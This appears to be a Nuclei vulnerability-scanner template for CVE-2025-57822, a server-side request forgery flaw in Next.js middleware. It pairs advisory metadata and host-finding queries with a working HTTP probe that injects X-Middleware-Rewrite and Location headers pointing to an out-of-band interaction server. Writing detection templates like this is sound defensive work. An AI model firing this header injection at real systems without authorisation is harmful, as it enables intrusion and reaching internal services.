Next.js Middleware - Server-Side Request Forgery

id: CVE-2025-57822

info:
  name: Next.js Middleware - Server-Side Request Forgery
  author: prdngr,nicolas-latacora
  severity: medium
  description: |
    In Next.js prior to versions 14.2.32 and 15.4.7, when request headerswere insecurely passed to NextResponse.next(), an attacker could exploit this behavior to perform Server-Side Request Forgery (SSRF) attacks.
  impact: |
    Attackers can manipulate request headers to perform SSRF attacks by forcing the server to make requests to arbitrary internal or external URLs when middleware passes headers unsafely.
  remediation: |
    Upgrade Next.js to version 14.2.32, 15.4.7, or later that properly validates and sanitizes request headers in NextResponse.next().
  reference:
    - https://github.com/vercel/next.js/security/advisories/GHSA-4342-x723-ch2f
    - https://vercel.com/changelog/cve-2025-57822
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57822
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-57822
    epss-score: 0.02328
    epss-percentile: 0.81495
    cwe-id: CWE-918
  metadata:
    verified: true
    vendor: vercel
    product: next.js
    shodan-query:
      - cpe:"cpe:2.3:a:zeit:next.js"
      - http.html:"/_next/static"
    fofa-query:
      - body="/_next/static"
  tags: cve,cve2025,ssrf,nextjs,oast,oob,vuln

variables:
  cache-buster: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "_next/static"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?cb={{cache-buster}}"

    headers:
      Location: "https://oast.me"
      X-Middleware-Rewrite: "https://oast.me"

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 490a0046304402206cb2d11c44979eca9850016b471f0d4867b4e3e6ab72a89b7dae3c504ebe913a02202929317d9fe384c07933c0a57c4bf8b90f369d87d20eea2b41e5915d97b377f3:922c64590222798bb761d5b6d8e72950